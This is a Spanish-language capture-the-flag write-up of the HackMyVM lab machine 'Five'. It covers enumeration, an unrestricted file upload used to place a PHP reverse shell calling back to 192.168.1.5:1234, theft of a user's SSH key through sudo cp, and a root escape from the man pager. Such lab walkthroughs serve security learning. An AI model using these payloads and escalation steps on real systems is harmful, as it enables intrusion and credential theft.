cd ~/blog

~/writeups/hmv/007-five.md

007 - Five

medium Linux hmvautor: Jordy Pérez Osorio aviso legal
Unrestricted File Upload via Path Parameter BypassSudo-Allowed Program Abuse through cpSudo-Allowed Program Abuse through man
hackmyvm.eu/machines/machine.php?vm=Five

~1 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.32
❯ nmap -sCV -p 80 -oN 02-targeted.txt 192.168.1.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 00:06 -04
Nmap scan report for 192.168.1.32
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-server-header: nginx/1.14.2
|_http-title: 403 Forbidden

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds

Enumeramos directorios con gobuster, donde aparecen upload.html, admin y un uploads sin acceso:

❯ gobuster dir -u 'http://192.168.1.32' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/uploads              (Status: 403) [Size: 169]
/admin                (Status: 200) [Size: 3866]
/upload.html          (Status: 200) [Size: 346]
/upload.php           (Status: 200) [Size: 48]
/robots.txt           (Status: 200) [Size: 17]
...

Unrestricted File Upload mediante Path Parameter Bypass

En upload.html nos encontramos con un formulario para subir archivos. El servidor acepta un PHP ejecutable y confía en un parámetro que decide el directorio de destino. Esta combinación produce un Unrestricted File Upload RCE: al eliminar de la petición la línea que define el path, el archivo deja de guardarse en uploads y queda en la raíz web accesible.

❯ cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'");
?>

Accedemos a http://192.168.1.32/pwned.php y recibimos la shell como www-data, estabilizándola con pty:

❯ ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.32:39786.
bash: cannot set terminal process group (382): Inappropriate ioctl for device
bash: no job control in this shell
www-data@five:~/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Privilege Escalation a melisa mediante sudo cp

Revisamos sudo -l:

www-data@five:/home$ sudo -l
Matching Defaults entries for www-data on five:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on five:
    (melisa) NOPASSWD: /bin/cp

Podemos ejecutar cp como melisa. La regla permite un Sudo-Allowed Program Abuse que, según el origen y el destino elegidos, ofrece lectura y escritura con los permisos de esa usuaria. Antes de aprovecharlo, revisamos los puertos abiertos internamente con ss para determinar por dónde conectarnos como ella:

www-data@five:/tmp$ ss -tuln
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port
udp     UNCONN   0        0                0.0.0.0:68            0.0.0.0:*
tcp     LISTEN   0        128            127.0.0.1:4444          0.0.0.0:*
tcp     LISTEN   0        128              0.0.0.0:80            0.0.0.0:*
tcp     LISTEN   0        128                 [::]:80               [::]:*

Hay un SSH escuchando localmente en el puerto 4444. Para conectarnos como melisa, primero recuperamos su id_rsa usando cp con sus privilegios:

www-data@five:/tmp$ touch id_rsa
www-data@five:/tmp$ chmod 777 id_rsa
www-data@five:/tmp$ sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/id_rsa
www-data@five:/tmp$ chmod 600 id_rsa

A partir de la clave privada generamos su clave pública y la plantamos como authorized_keys en el .ssh de melisa, de nuevo abusando de cp:

www-data@five:/tmp$ ssh-keygen -y -f id_rsa > authorized_keys
www-data@five:/tmp$ sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys

www-data@five:/tmp$ ssh melisa@localhost -p 4444 -i id_rsa
melisa@five:~$

Obtenemos shell como melisa y la primera flag.

Privilege Escalation a root mediante sudo man pager escape

Revisamos sudo -l con el nuevo usuario:

melisa@five:~$ sudo -l
Matching Defaults entries for melisa on five:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User melisa may run the following commands on five:
    (ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm,
        /bin/clear

Podemos ejecutar varios comandos como cualquier usuario y sin contraseña. Usaremos man, indicándole con -P un pager (less) desde el que escapamos a una shell con !/bin/bash:

melisa@five:~$ sudo man -P /usr/bin/less man
!/bin/bash
root@five:/home/melisa#

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados